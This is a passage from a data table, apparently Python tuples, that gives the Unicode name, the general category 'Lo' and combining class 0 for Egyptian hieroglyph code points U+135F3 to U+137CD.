("EGYPTIAN HIEROGLYPH-135F3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135F4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135F5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135F6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135F7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135F8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135F9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135FA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135FB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135FC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135FD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135FE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135FF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13600", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13601", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13602", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13603", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13604", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13605", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13606", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13607", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13608", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13609", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1360A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1360B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1360C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1360D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1360E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1360F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13610", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13611", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13612", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13613", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13614", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13615", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13616", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13617", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13618", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13619", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1361A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1361B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1361C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1361D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1361E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1361F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13620", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13621", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13622", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13623", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13624", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13625", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13626", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13627", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13628", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13629", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1362A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1362B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1362C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1362D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1362E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1362F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13630", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13631", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13632", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13633", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13634", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13635", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13636", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13637", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13638", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13639", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1363A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1363B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1363C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1363D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1363E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1363F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13640", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13641", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13642", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13643", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13644", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13645", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13646", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13647", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13648", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13649", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1364A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1364B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1364C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1364D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1364E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1364F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13650", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13651", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13652", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13653", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13654", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13655", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13656", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13657", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13658", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13659", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1365A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1365B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1365C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1365D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1365E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1365F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13660", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13661", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13662", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13663", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13664", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13665", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13666", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13667", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13668", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13669", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1366A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1366B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1366C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1366D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1366E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1366F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13670", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13671", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13672", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13673", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13674", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13675", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13676", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13677", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13678", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13679", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1367A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1367B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1367C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1367D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1367E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1367F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13680", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13681", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13682", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13683", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13684", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13685", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13686", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13687", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13688", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13689", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1368A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1368B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1368C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1368D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1368E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1368F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13690", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13691", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13692", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13693", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13694", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13695", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13696", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13697", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13698", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13699", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1369A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1369B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1369C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1369D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1369E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1369F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136A0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136A1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136A2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136A3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136A4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136A5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136A6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136A7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136A8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136A9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136AA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136AB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136AC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136AD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136AE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136AF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136B0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136B1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136B2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136B3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136B4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136B5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136B6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136B7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136B8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136B9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136BA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136BB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136BC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136BD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136BE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136BF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136C0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136C1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136C2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136C3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136C4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136C5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136C6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136C7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136C8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136C9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136CA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136CB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136CC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136CD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136CE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136CF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136D0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136D1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136D2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136D3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136D4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136D5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136D6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136D7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136D8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136D9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136DA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136DB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136DC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136DD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136DE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136DF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136E0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136E1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136E2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136E3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136E4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136E5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136E6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136E7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136E8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136E9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136EA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136EB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136EC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136ED", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136EE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136EF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136F0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136F1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136F2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136F3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136F4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136F5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136F6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136F7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136F8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136F9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136FA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136FB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136FC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136FD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136FE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-136FF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13700", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13701", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13702", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13703", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13704", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13705", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13706", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13707", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13708", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13709", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1370A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1370B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1370C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1370D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1370E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1370F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13710", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13711", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13712", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13713", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13714", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13715", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13716", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13717", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13718", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13719", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1371A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1371B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1371C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1371D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1371E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1371F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13720", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13721", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13722", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13723", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13724", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13725", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13726", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13727", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13728", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13729", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1372A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1372B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1372C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1372D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1372E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1372F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13730", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13731", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13732", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13733", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13734", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13735", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13736", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13737", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13738", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13739", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1373A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1373B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1373C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1373D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1373E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1373F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13740", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13741", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13742", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13743", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13744", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13745", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13746", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13747", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13748", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13749", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1374A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1374B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1374C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1374D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1374E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1374F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13750", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13751", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13752", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13753", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13754", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13755", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13756", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13757", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13758", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13759", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1375A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1375B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1375C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1375D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1375E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1375F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13760", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13761", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13762", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13763", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13764", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13765", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13766", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13767", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13768", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13769", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1376A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1376B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1376C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1376D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1376E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1376F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13770", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13771", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13772", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13773", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13774", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13775", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13776", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13777", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13778", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13779", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1377A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1377B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1377C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1377D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1377E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1377F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13780", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13781", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13782", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13783", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13784", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13785", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13786", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13787", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13788", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13789", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1378A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1378B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1378C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1378D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1378E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1378F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13790", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13791", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13792", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13793", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13794", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13795", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13796", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13797", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13798", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13799", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1379A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1379B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1379C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1379D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1379E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1379F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137A0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137A1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137A2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137A3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137A4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137A5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137A6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137A7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137A8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137A9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137AA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137AB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137AC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137AD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137AE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137AF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137B0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137B1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137B2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137B3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137B4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137B5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137B6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137B7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137B8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137B9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137BA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137BB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137BC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137BD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137BE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137BF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137C0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137C1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137C2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137C3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137C4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137C5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137C6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137C7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137C8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137C9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137CA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137CB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137CC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-137CD", "Lo", 0),
